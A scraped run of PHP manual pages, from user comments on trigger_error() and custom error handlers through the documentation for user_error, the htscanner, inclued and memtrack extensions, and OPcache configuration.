    if($level === E_USER_ERROR || $level === E_USER_WARNING || $level === E_USER_NOTICE) {
        echo '<strong>Error:</strong> '.$message;
        return(true); //And prevent the PHP error handler from continuing
    }
    return(false); //Otherwise, use PHP's error handler
}

function trigger_my_error($message, $level) {
    //Get the caller of the calling function and details about it
    $callee = next(debug_backtrace());
    //Trigger appropriate error
    trigger_error($message.' in <strong>'.$callee['file'].'</strong> on line <strong>'.$callee['line'].'</strong>', $level);
}

//Use our custom handler
set_error_handler('error_handler');

//-------------------------------
//Demo usage:
//-------------------------------
function abc($str) {
    if(!is_string($str)) {
        trigger_my_error('abc() expects parameter 1 to be a string', E_USER_ERROR);
    }
}

abc('Hello world!'); //Works
abc(18); //Error: abc() expects parameter 1 to be a string in [FILE].php on line 31
?>

This is a pretty simple concept and I'm sure most of you know this, but for those that don't, let it serve as a good example!
tudor AT iccblue DOT com DOT nospam 15-Oct-2009 05:07
It actually turns out - at least on PHP 5.2.6 on XAMPP (Windows) that for the custom error handler, you will need to set $errorType as the first parameter, and only the second parameter as $message, i.e. in reverse order compared to how the manual states it now.
Howard Yeend 05-Jul-2009 01:39
trigger_error always reports the line and file that trigger_error was called on. Which isn't very useful.

eg:

main.php:
<?php
include('functions.php');
$x = 'test';
doFunction($x);
?>

functions.php:
<?php
function doFunction($var) {
if(is_numeric($var)) {
 /* do some stuff*/
} else {
 trigger_error('var must be numeric');
}
}
?>

will output "Notice: var must be numeric in functions.php on line 6"
whereas "Notice: var must be numeric in main.php on line 4" would be more useful

here's a function to do that:

<?php

function error($message, $level=E_USER_NOTICE) {
$caller = next(debug_backtrace());
trigger_error($message.' in <strong>'.$caller['function'].'</strong> called from <strong>'.$caller['file'].'</strong> on line <strong>'.$caller['line'].'</strong>'."\n<br />error handler", $level);
}
?>

So now in our example:

main.php:
<?php
include('functions.php');
$x = 'test';
doFunction($x);
?>

functions.php:
<?php
function doFunction($var) {
    if(is_numeric($var)) {
         /* do some stuff*/
    } else {
         error('var must be numeric');
    }
}

function error($message, $level=E_USER_NOTICE) {
    $caller = next(debug_backtrace());
    trigger_error($message.' in <strong>'.$caller['function'].'</strong> called from <strong>'.$caller['file'].'</strong> on line <strong>'.$caller['line'].'</strong>'."\n<br />error handler", $level);
}
?>

now outputs:

"Notice: var must be numeric in doFunction called from main.php on line 4"

http://www.puremango.co.uk
webmaster at paramiliar dot com 04-Jan-2008 08:11
We wanted to be able to pass an SQL query to the error handler on our site so we could monitor SQL problems, you cant do this through normal methods so we came up with this bridge script that 100% works

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline){
    switch ($errno) {
    case E_USER_ERROR:
        if ($errstr == "(SQL)"){
            // handling an sql error
            echo "<b>SQL Error</b> [$errno] " . SQLMESSAGE . "<br />\n";
            echo "Query : " . SQLQUERY . "<br />\n";
            echo "On line " . SQLERRORLINE . " in file " . SQLERRORFILE . " ";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        } else {
            echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
            echo "  Fatal error on line $errline in file $errfile";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        }
        exit(1);
        break;

    case E_USER_WARNING:
    case E_USER_NOTICE:
    }
    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling

function sqlerrorhandler($ERROR, $QUERY, $PHPFILE, $LINE){
    define("SQLQUERY", $QUERY);
    define("SQLMESSAGE", $ERROR);
    define("SQLERRORLINE", $LINE);
    define("SQLERRORFILE", $PHPFILE);
    trigger_error("(SQL)", E_USER_ERROR);
}

set_error_handler("myErrorHandler");

// trigger an sql error
$query = "SELECT * FROM tbl LIMIT 1";
$sql = @mysql_query($query)
    or sqlerrorhandler("(".mysql_errno().") ".mysql_error(), $query, $_SERVER['PHP_SELF'], __LINE__);

?>
richard at 2006 dot atterer dot net 03-Apr-2006 06:28
Beware, trigger_error() is absolutely useless for transporting your own function's error messages in $php_errormsg:

ini_set('track_errors', TRUE);
function x() { trigger_error('MY ERROR'); }
@x();
echo "Error 1: \\"$php_errormsg\\"\\n";
@file_get_contents('/nonexisting');
echo "Error 2: \\"$php_errormsg\\"\\n";

This outputs:

Error 1: ""
Error 2: "failed to open stream: No such file or directory"

This behaviour is consistent with the description of $php_errormsg, which says that the variable will only be available within the scope in which the error occurred. The problem can be worked around with a custom error handler like the one below. However, I'm undecided whether changing the language in this way is good:

function errHandler($errno, $errstr, $errfile, $errline) {
  global $php_errormsg; $php_errormsg = $errstr;
}
set_error_handler('errHandler');
mano at easymail dot hu 26-Apr-2005 02:13
I am not so familiar with this but I think you can reach some of the functionality of try..catch with this function. I would disagree or correct the previous note. The @ is not the catch, it sets the error_reporting to 0 tempolary but with set_error_handler you can try to imitate some behavior like catch.
I've just made this to try if it possible, I never tried in projects but I think could work in php 4. Actually if you want to have the Trace of the error you need to use php4.3+.
Maybe not many of you will create new scripts in php4 and try to have some features from php5 but in some cases (extending older projects) this could be better error handling.

If this is a wrong approach, waiting for comments, if its not, use it!

<?
function catch($errno, $errstr, $errfile, $errline){
    $GLOBALS['throw'] = $errstr;
    $GLOBALS['throw_info'] = array(
        'Message'=>$errstr
        ,'Code'=>$errno
        ,'Line'=>$errline
        ,'File'=>$errfile
        ,'Trace'=>debug_backtrace()
    );

}
set_error_handler('catch');

function badgirl(){
    if(true){ //error occure
        trigger_error("BadGirlWithError",E_USER_NOTICE); // as throw with notice
        return; // ...because trigger_error does not stop the function
    }else{
       return true;
    }
}

// Try
$GLOBALS['throw'] = null; // ...try...
$sheis = badgirl(); //could be @badgirl, display_errors is something else, this just the handling
// ..try
if($GLOBALS['throw']){  // This actually catch re-throws too...
    switch($GLOBALS['throw']){ // Catch
        case 'GoodGirlException':
            die('No bad girl today!');
        break;
        case 'BadGirlWithError':
            die('Bad girl has some error');
        break;
        default:
            return; // or you can make another trigger_error and re-throw another 'exception' or some other action
    }
}
echo "You will never see this line - @ only supress message, not a control flow";
echo "Wrong! You could see this:)";

?>

.mano
dzn'tM@ter 20-Jan-2004 06:05
Some might think that trigger_error is like a throw() or an err.raise construction, and @ works like catch(){} one - in fact it's NOT.

function badgirl(){
    trigger_error("shame on me",E_USER_ERROR);
    return true;
}

$sheis = @badgirl();
echo "You will never see this line - @ only supress message, not a control flow";
robert at klugher dot com 24-Sep-2003 02:12
This one took me some time ...

When you use trigger_error with your own error handler, the class instances are destroyed (don't know how to say it better, I am not an expert).

So, if you try to call a class function from within the error handler function, you will get 'Call to a member function on a non-object' error, even if this function works perfectly in the rest of your script.

Solution : re-use the xxx = new yyy to re-create the instance in the beginning of your error handler ... and then you can call the class functions you want !
mail at dooley dot cjb dot net 30-Jul-2003 04:16
i recently began using a custom error handling class. the biggest problem is that, with call time pass by reference deprecated, you can't manipulate the error handler class after assigning at as the error handler (and it appears not to be returned by the set_error_handler method as the old error handler). my goal was to be able to store up all my non-fatal errors and print them at the end of script execution. that way i can use 'trigger_error' (which i actually have wrapped in a static method ErrorHandler::throwException for portability purposes... which is a pain because it always has the same line number information!!) for all kinds of errors, including user input erros. so when i check a user's password, for instance i would trigger a warning that said 'incorrect password'. of course i would only want this to print out the error once the script had completed.

so in my error handler class i have the following in the constructor:

function ErrorHandler()
{
    $this->error_messages  = array();
    error_reporting (E_ALL);
    set_error_handler(array($this,"assignError"));
}

and my assignError method:
//accept the required arguments
function assignError($errno, $errstr, $errfile, $errline)
{
    //get the error string
    $error_message = $errstr;
//if in debug mode, add line number and file info
 if(ErrorHandler::DEBUG())
 $error_message .= "<br>".basename($errfile).",line: ".$errline;

            switch ($errno)
            {
                //if the error was fatal, then add the error
                //display an error page and exit
                case ErrorHandler::FATAL():
                    $this->setType('Fatal');
                    $this->addError($error_message);
                    Display::errorPage($this->errorMessages());
                    exit(1);
                break;
                //if it was an error message, add a message of
                //type error
                case ErrorHandler::ERROR():
                    $this->setType('Error');
                    $this->addError($error_message);
                break;
                //if it was a warning, add a message of type
                //warning
                case ErrorHandler::WARNING():
                    $this->setType('Warning');
                    $this->addError($error_message);
                break;
                //if it was some other code then display all
                //the error messages that were added
                default:
                    Display::errorRows($this->errorMessages());
                break;
            }
            //return a value so that the script will continue
            //execution
            return 1;
}

the key part there is the 'default' behaviour. i found that if i call trigger_error with anything other than E_USER_ERROR, E_USER_WARNING or E_USER_NOTICE, then error code '2' is passed to the handler method. so when it is time to print all my non-fatal errors, like 'password and confirm password don't match' or something, i call ErrorHandler::printAllErrors()

        function printAllErrors()
        {
            trigger_error("",2);
        }

which leads to the default behaviour in my switch statement in the assignError method above. the only problem with this is that the weird bug 'Problem with method call' that occurs with some static method calls (that one person on the bug lists said was fixed and another said wouldn't be fixed until version 5) also produces error code 2!! i have just taken to suppressing these errors with @, because despite the alledged problem with the method call, the script still seems to execute fine.

iain.
someone at attbi dot com 23-May-2003 06:24
sl0th, the idea is never to give out file names, line numbers, and cryptic codes to the user. Use trigger_error() after you used set_error_handler() to register your own callback function which either logs or emails the error codes to you, and echo a simple friendly message to the user.

And turn on a more verbose error handler function when you need to debug your scripts. In my init.php scripts I always have:

if (_DEBUG_) {
    set_error_handler ('debug_error_handler');
}
else {
    set_error_handler ('nice_error_handler');
}
sl0th at r00thell dot ath dot cx 21-May-2003 04:25
Well this is a good way on debuging your php scripts, but i wouldn't feel
too comfortable by giving out my web servers structure.
Notice that what helps you finding and isolating errors in your php helps also a potential attacker.
Or maybe i am just paranoid, but its worth mention it.
ceo at l-i-e dot com 29-Oct-2002 02:20
You should be using set_error_handler (possibly in conjuction with error_log and/or trigger_error) if you want FILE and LINE number information.
You don't need macros for this.


Alias of trigger_error

  • « trigger_error
  • htscanner »
  • PHP Manual
  • Error Handling Functions
  • Alias of trigger_error

user_error

(PHP 4, PHP 5)

user_error — Alias of trigger_error()

Description

This function is an alias of: trigger_error().

User Contributed Notes

There are no user contributed notes for this page.


htaccess-like support for all SAPIs

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The htscanner extension gives the possibility to use htaccess-like file to configure PHP per directory, just like apache's htaccess. It is especially useful with fastcgi (IIS5/6/7, lighttpd, etc.).

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PHP version 5.2.0 or greater.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/htscanner

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

htscanner Configure Options
Name | Default | Changeable | Changelog
htscanner.config_file | ".htscanner" | PHP_INI_SYSTEM |
htscanner.default_docroot | "/" | PHP_INI_SYSTEM |
htscanner.default_ttl | "300" | PHP_INI_SYSTEM |
htscanner.stop_on_error | "Off" | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

htscanner.config_file string

Filename to use as configuration file.

htscanner.default_docroot string

Default document root.

htscanner.default_ttl int

Cache time out for the configuration data, in seconds.

htscanner.stop_on_error int

Stop on error (parse error, cannot set an ini setting).

User Contributed Notes

There are no user contributed notes for this page.


Inclusion hierarchy viewer

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Example that implements inclued into an application
  • inclued Functions
    • inclued_get_data — Get the inclued data

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Traces through and dumps the hierarchy of file inclusions and class inheritance at runtime.

The files may have been included using include, include_once, require, or require_once.

Class inheritance dependencies are also reported.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

PHP version 5.1.0 or greater.

The included gengraph.php file utilizes the » graphviz library, however, this is not required.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/inclued

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

inclued Configure Options
Name | Default | Changeable | Changelog
inclued.enabled | Off | PHP_INI_SYSTEM |
inclued.dumpdir | NULL | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

inclued.enabled bool

Whether or not to enable inclued.

inclued.dumpdir string

Location (path) to the directory that stores inclued files. If set, each PHP request will create a file. These files are serialized versions of what inclued_get_data() would produce, so may be unserialized with unserialize().

Caution

Because every request creates a file, this directory may fill up fast!

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Example that implements inclued into an application

User Contributed Notes

There are no user contributed notes for this page.


Example that implements inclued into an application

This example demonstrates the process of implementing inclued into an existing application, and viewing the results.

Example #1 Getting the data within the PHP application itself (function)

<?php
// File to store the inclued information
$fp = fopen('/tmp/wp.ser', 'w');
if ($fp) {
    $clue = inclued_get_data();
    if ($clue) {
        fwrite($fp, serialize($clue));
    }
    fclose($fp);
}
?>

Now that some data exists, it's time to make sense of it in the form of a graph. The inclued extension includes a PHP file named gengraph.php that creates a dot file that requires the » graphviz library. However, this form is not required.

Example #2 Example use of gengraph.php

This example creates an image named inclued.png that shows the inclued data.

# First, create the dot file
$ php gengraph.php -i /tmp/wp.ser -o wp.dot

# Next, create the image
$ dot -Tpng -o inclued.png wp.dot

Example #3 Listing data via inclued dumps (configuration)

When using the inclued.dumpdir directive, files (include clues) are dumped with every request. Here's one way to list those files, and unserialize() them.

<?php
$path = ini_get('inclued.dumpdir');
if ($path && is_dir($path)) {

    echo "Path: $path", PHP_EOL;

    $inclues = new GlobIterator($path . DIRECTORY_SEPARATOR . 'inclued*');

    if ($inclues->count() === 0) {
        echo 'No clues today', PHP_EOL;
        exit;
    }

    foreach ($inclues as $inclue) {

        echo 'Inclued file: ', $inclue->getFilename(), PHP_EOL;

        $data = file_get_contents($inclue->getPathname());
        if ($data) {
            $inc = unserialize($data);
            echo ' -- filename: ', $inc['request']['SCRIPT_FILENAME'], PHP_EOL;
            echo ' -- number of includes: ', count($inc['includes']), PHP_EOL;
        }
        echo PHP_EOL;
    }
} else {
    echo 'I am totally clueless today.', PHP_EOL;
}
?>

The above example will output something similar to:

PATH: /tmp/inclued
Inclued file: inclued.56521.1
 -- filename: /Users/philip/test.php
 -- number of includes: 1

Inclued file: inclued.56563.1
 -- filename: /tmp/none.php
 -- number of includes: 0

Inclued file: inclued.56636.1
 -- filename: /tmp/three.php
 -- number of includes: 3

User Contributed Notes

g dot kuizinas at anuary dot com 07-Mar-2013 08:54
If you install the module and execute it via CLI it will not produce any errors when not enabled. It took me quite a bit of time until I realised that by default the module is disabled, http://www.php.net/manual/en/inclued.configuration.php.
gtisza at gmail dot com 04-Aug-2012 12:07
Note that inclued does not work correctly when xdebug is enabled (the includes array remains empty; consequently, graphing the classes works but graphing the files does not). Bug report: https://bugs.php.net/bug.php?id=59419
admin at eexit dot net 05-Aug-2010 05:14
The new gengraph.php has « -t » parameter set to « includes » by default. Don't forget to specify it to « classes » for most of all projects.

Since PHP 5.3, namespace operators are stripped by Graphiz when the graph is generated. Add the following tips to escape namespace operators:

<?php
// Around line 254
else /* classes */
{
    $filemap = array();

    foreach($data["classes"] as $k => $v) {
        $class = $v;

    // Here is the tip to remove namespaces
        $class['name'] = str_replace('\\', '\\\\', $class['name']);
        $class['mangled_name'] = str_replace('\\', '\\\\', $class['mangled_name']);

// ...
?>

By the way, if you are looking for an easy way to use inclued, take a look at my library: http://www.eexit.net/projects/inclued.html


inclued Functions

Table of Contents

  • inclued_get_data — Get the inclued data

User Contributed Notes

There are no user contributed notes for this page.


Get the inclued data

  • « inclued Functions
  • Memtrack »
  • PHP Manual
  • inclued Functions
  • Get the inclued data

inclued_get_data

(PECL inclued >= 0.1.0)

inclued_get_data — Get the inclued data

Description

array inclued_get_data ( void )

Get the inclued data.

Parameters

This function has no parameters.

Return Values

The inclued data.

Examples

Example #1 inclued_get_data() example

See the inclued examples section for ways to create graphs with this data.

<?php
include 'x.php';

$clue = inclued_get_data();

print_r($clue);
?>

The above example will output something similar to:

Array
(
  [includes] => Array
    (
      [0] => Array
        (
          [operation] => include
          [op_type] => 2
          [filename] => x.php
          [opened_path] => /tmp/x.php
          [fromfile] => /tmp/z.php
          [fromline] => 2
        )
    )
)

See Also

  • inclued examples
  • debug_backtrace() - Generates a backtrace
  • include - include

User Contributed Notes

There are no user contributed notes for this page.


Memtrack

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The purpose of this extension is to detect the most memory hungry scripts and functions.

memtrack tracks memory consumption in PHP scripts and produces reports (warnings) when the consumption reaches certain levels set by the user. This is achieved by replacing default executor function by a special function which compares memory usage before and after running the original executor - this way we can tell how much the memory usage has changed during the execution of the current part of the code.

Zend Engine runs its executor for each opcode array (op_array), which usually means function, plain script and such, so memtrack doesn't have any noticeable effect on performance.

memtrack doesn't provide any functions, there are only INI directives which allow you to configure the way it should work.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/memtrack

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Memtrack Configuration Options
Name | Default | Changeable
memtrack.enabled | "0" | PHP_INI_SYSTEM
memtrack.soft_limit | "0" | PHP_INI_ALL
memtrack.hard_limit | "0" | PHP_INI_ALL
memtrack.vm_limit | "0" | PHP_INI_ALL
memtrack.ignore_functions | "" | PHP_INI_SYSTEM
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

memtrack.enabled boolean

Disables or enables the extension. Default value is 0, i.e. disabled.

memtrack.soft_limit int

Soft memory limit.

The extension checks memory consumption before and after executing an op_array and produces a warning is the difference between the two values is equal to or greater than the soft limit, but only if the function is not ignored.

Setting this option to 0 also disables both soft and hard limit warnings. Default value is 0, i.e. no warnings is produced.

memtrack.hard_limit int

Hard memory limit.

The extension checks memory consumption before and after executing an op_array and produces a warning is the difference between the two values is equal to or greater than the hard limit, even if the function is ignored. Setting this option to 0 disables hard limit warnings completely. Default value is 0, i.e. no hard limit warnings is produced.

memtrack.vm_limit int

Virtual memory limit (set on a process).

This limit is checked only on shutdown and a warning is produced if the value is greater than or equal to the limit.

This option is currently supported only on OSes where mallinfo() function is available (i.e. Linux).

memtrack.ignore_functions string

A comma or whitespace-separated list of functions which are to be ignored by soft_limit. The values are case-insensitive, for class methods use class::method syntax.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Basic example on using memtrack extension:

Example #1 Creating large array in a function

<?php

/* /tmp/example1.php */

function foo() {
    $a = array();
    for ($i = 0; $i < 10000; $i++) $a[] = "test";
    return $a;
}
$arr = foo();

?>

Run the example with the following command:

php -d memtrack.enabled=1 -d memtrack.soft_limit=1M -d memtrack.vm_limit=3M /tmp/example1.php

The above example will output something similar to:

Warning: [memtrack] [pid 26177] user function foo() executed in /tmp/example1.php on line 10 allocated 4194304 bytes in /tmp/example1.php on line 0
Warning: [memtrack] [pid 26177] virtual memory usage on shutdown: 32911360 bytes in Unknown on line 0

User Contributed Notes

There are no user contributed notes for this page.


OPcache

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • OPcache Functions
    • opcache_compile_file — Compiles and caches a PHP script without executing it
    • opcache_get_configuration — Get configuration information about the cache
    • opcache_get_status — Get status information about the cache
    • opcache_invalidate — Invalidates a cached script
    • opcache_reset — Resets the contents of the opcode cache

User Contributed Notes

There are no user contributed notes for this page.


Introduction

OPcache improves PHP performance by storing precompiled script bytecode in shared memory, thereby removing the need for PHP to load and parse scripts on each request.

This extension is bundled with PHP 5.5.0 and later, and is » available in PECL for PHP versions 5.2, 5.3 and 5.4.

User Contributed Notes

There are no user contributed notes for this page.


Installation

The process of installing OPcache varies depending on which version of PHP you're running. Please refer to the appropriate section below.

Note:

If you want to use OPcache with » Xdebug, you must load OPcache before Xdebug.

PHP 5.5.0 and later

OPcache can only be compiled as a shared extension. If you have disabled the building of default extensions with --disable-all , you must compile PHP with the --enable-opcache option for OPcache to be available.

Once compiled, you can use the zend_extension configuration directive to load the OPcache extension into PHP. This can be done with zend_extension=/full/path/to/opcache.so on non-Windows platforms, and zend_extension=C:\path\to\php_opcache.dll on Windows.

PHP 5.2, 5.3 and 5.4

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ZendOpcache.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Recommended php.ini settings

The following settings are generally recommended as providing good performance:

opcache.memory_consumption=128
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60
opcache.fast_shutdown=1
opcache.enable_cli=1

You may also want to consider disabling opcache.save_comments and enabling opcache.enable_file_override, however note that you will have to test your code before using these in production as they are known to break some frameworks and applications, particularly in cases where documentation comment annotations are used.

A full list of configuration directives supported by OPcache is also available.

User Contributed Notes

matthias at himalayasystems dot be 28-May-2014 04:37
I had a problem with installing on php 5.4 through pecl

I used
pecl install ZendOpache-beta
To force the install of the beta version

When restarting, php could not find opcache.so
Use the absolute path when assigning zend_extension.
So change zend_extension=opache.so
to
zend_extension=/usr/lib64/php/modules/opcache.so
NoiseEee 07-Mar-2014 01:34
While the "suggested" opcache settings for php.ini might be appropriate for a production server, you're going to want to change several while you're developing, or you're not going to see any changes to your code. Get familiar with what they mean before blindly pasting that into php.ini and assuming things are going to work well.
dosercz 22-Oct-2013 07:26
For me works (on windows) only filename without path (default extensions dir path is used)
zend_extension=php_opcache.dll


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

OPcache configuration options
Name | Default | Changeable | Changelog
opcache.enable | "1" | PHP_INI_ALL |
opcache.enable_cli | "0" | PHP_INI_SYSTEM |
opcache.memory_consumption | "64" | PHP_INI_SYSTEM |
opcache.interned_strings_buffer | "4" | PHP_INI_SYSTEM | Available since PHP 5.3.0.
opcache.max_accelerated_files | "2000" | PHP_INI_SYSTEM |
opcache.max_wasted_percentage | "5" | PHP_INI_SYSTEM |
opcache.use_cwd | "1" | PHP_INI_SYSTEM |
opcache.validate_timestamps | "1" | PHP_INI_ALL |
opcache.revalidate_freq | "2" | PHP_INI_ALL |
opcache.revalidate_path | "0" | PHP_INI_ALL |
opcache.save_comments | "1" | PHP_INI_SYSTEM |
opcache.load_comments | "1" | PHP_INI_ALL |
opcache.fast_shutdown | "0" | PHP_INI_SYSTEM |
opcache.enable_file_override | "0" | PHP_INI_SYSTEM |
opcache.optimization_level | "0xffffffff" | PHP_INI_SYSTEM |
opcache.inherited_hack | "1" | PHP_INI_SYSTEM |
opcache.dups_fix | "0" | PHP_INI_ALL |
opcache.blacklist_filename | "" | PHP_INI_SYSTEM |
opcache.max_file_size | "0" | PHP_INI_SYSTEM |
opcache.consistency_checks | "0" | PHP_INI_ALL |
opcache.force_restart_timeout | "180" | PHP_INI_SYSTEM |
opcache.error_log | "" | PHP_INI_SYSTEM |
opcache.log_verbosity_level | "1" | PHP_INI_SYSTEM |
opcache.preferred_memory_model | "" | PHP_INI_SYSTEM |
opcache.protect_memory | "0" | PHP_INI_SYSTEM |
opcache.mmap_base | NULL | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

opcache.enable boolean

Enables the opcode cache. When disabled, code is not optimised or cached. The setting opcache.enable can not be enabled at runtime through ini_set(), it can only be disabled. Trying to enable it at in a script will generate a warning.

opcache.enable_cli boolean

Enables the opcode cache for the CLI version of PHP. This is mostly useful for testing and debugging.

opcache.memory_consumption integer

The size of the shared memory storage used by OPcache, in megabytes.

opcache.interned_strings_buffer integer

The amount of memory used to store interned strings, in megabytes. This configuration directive is ignored in PHP < 5.3.0.

opcache.max_accelerated_files integer

The maximum number of keys (and therefore scripts) in the OPcache hash table. The actual value used will be the first number in the set of prime numbers { 223, 463, 983, 1979, 3907, 7963, 16229, 32531, 65407, 130987 } that is bigger than the configured value. Only numbers between 200 and 100000 are allowed.

opcache.max_wasted_percentage integer

The maximum percentage of wasted memory that is allowed before a restart is scheduled.

opcache.use_cwd boolean

If enabled, OPcache appends the current working directory to the script key, thereby eliminating possible collisions between files with the same base name. Disabling this directive improves performance, but may break existing applications.

opcache.validate_timestamps boolean

If enabled, OPcache will check for updated scripts every opcache.revalidate_freq seconds. When this directive is disabled, you must reset OPcache manually via opcache_reset(), opcache_invalidate() or by restarting the Web server for changes to the filesystem to take effect.

opcache.revalidate_freq integer

How often to check script timestamps for updates, in seconds. 0 will result in OPcache checking for updates on every request.

This configuration directive is ignored if opcache.validate_timestamps is disabled.

opcache.revalidate_path boolean

If disabled, existing cached files using the same include_path will be reused. Thus, if a file with the same name is elsewhere in the include_path, it won't be found.

opcache.save_comments boolean

If disabled, all documentation comments will be discarded from the opcode cache to reduce the size of the optimised code. Disabling this configuration directive may break applications and frameworks that rely on comment parsing for annotations, including Doctrine, Zend Framework 2 and PHPUnit.

opcache.load_comments boolean

If disabled, documentation comments won't be loaded from the opcode cache even if they exist. This can be used with opcache.save_comments to only load comments for applications that require them.

opcache.fast_shutdown boolean

If enabled, a fast shutdown sequence is used that doesn't free each allocated block, but relies on the Zend Engine memory manager to deallocate the entire set of request variables en masse.

opcache.enable_file_override boolean

When enabled, the opcode cache will be checked for whether a file has already been cached when file_exists(), is_file() and is_readable() are called. This may increase performance in applications that check the existence and readability of PHP scripts, but risks returning stale data if opcache.validate_timestamps is disabled.

opcache.optimization_level integer

A bitmask that controls which optimisation passes are executed.

opcache.inherited_hack boolean

In PHP < 5.3, OPcache stores the places where DECLARE_CLASS opcodes used inheritance; when the file is loaded, OPcache then tries to bind the inherited classes using the current environment. The problem is that while the DECLARE_CLASS opcode may not be needed for the current script, if the script requires that the opcode be defined, it may not run.

This configuration directive is ignored in PHP 5.3 and later.

opcache.dups_fix boolean

This hack should only be enabled to work around "Cannot redeclare class" errors.

opcache.blacklist_filename string

The location of the OPcache blacklist file. A blacklist file is a text file containing the names of files that should not be accelerated, one per line. Wildcards are allowed, and prefixes can also be provided. Lines starting with a semi-colon are ignored as comments.

A simple blacklist file might look as follows:

; Matches a specific file.
/var/www/broken.php
; A prefix that matches all files starting with x.
/var/www/x
; A wildcard match.
/var/www/*-broken.php
opcache.max_file_size integer

The maximum file size that will be cached, in bytes. If this is 0, all files will be cached.

opcache.consistency_checks integer

If non-zero, OPcache will verify the cache checksum every N requests, where N is the value of this configuration directive. This should only be enabled when debugging, as it will impair performance.

opcache.force_restart_timeout integer

The length of time to wait for a scheduled restart to begin if the cache isn't active, in seconds. If the timeout is hit, then OPcache assumes that something is wrong and will kill the processes holding locks on the cache to permit a restart.

If opcache.log_verbosity_level is set to 3 or above, an error will be recorded in the error log when this occurs.

opcache.error_log string

The error log for OPcache errors. An empty string is treated the same as stderr, and will result in logs being sent to standard error (which will be the Web server error log in most cases).

opcache.log_verbosity_level integer

The log verbosity level. By default, only fatal errors (level 0) and errors (level 1) are logged. Other levels available are warnings (level 2), information messages (level 3) and debug messages (level 4).

opcache.preferred_memory_model string

The preferred memory model for OPcache to use. If left empty, OPcache will choose the most appropriate model, which is the correct behaviour in virtually all cases.

Possible values include mmap, shm, posix and win32.

opcache.protect_memory boolean

Protects shared memory from unexpected writes while executing scripts. This is useful for internal debugging only.

opcache.mmap_base string

The base used for shared memory segments on Windows. All PHP processes have to map shared memory into the same address space. Using this directive allows "Unable to reattach to base address" errors to be fixed.

User Contributed Notes

There are no user contributed notes for this page.


OPcache Functions

Table of Contents

  • opcache_compile_file — Compiles and caches a PHP script without executing it
  • opcache_get_configuration — Get configuration information about the cache
  • opcache_get_status — Get status information about the cache
  • opcache_invalidate — Invalidates a cached script
  • opcache_reset — Resets the contents of the opcode cache

User Contributed Notes

There are no user contributed notes for this page.


Compiles and caches a PHP script without executing it

  • « OPcache Functions
  • opcache_get_configuration »
  • PHP Manual
  • OPcache Functions
  • Compiles and caches a PHP script without executing it

opcache_compile_file

(PHP 5 >= 5.5.5, PECL ZendOpcache > 7.0.2)

opcache_compile_file — Compiles and caches a PHP script without executing it

Description

boolean opcache_compile_file ( string $file )

This function compiles a PHP script and adds it to the opcode cache without executing it. This can be used to prime the cache after a Web server restart by pre-caching files that will be included in later requests.

Parameters

file

The path to the PHP script to be compiled.

Return Values

Returns TRUE if file was compiled successfully or FALSE on failure.

Errors/Exceptions

If file cannot be loaded or compiled, an error of level E_WARNING is generated. You may use @ to suppress this warning.

See Also

  • opcache_invalidate() - Invalidates a cached script

User Contributed Notes

Anonymous 19-Apr-2014 11:24
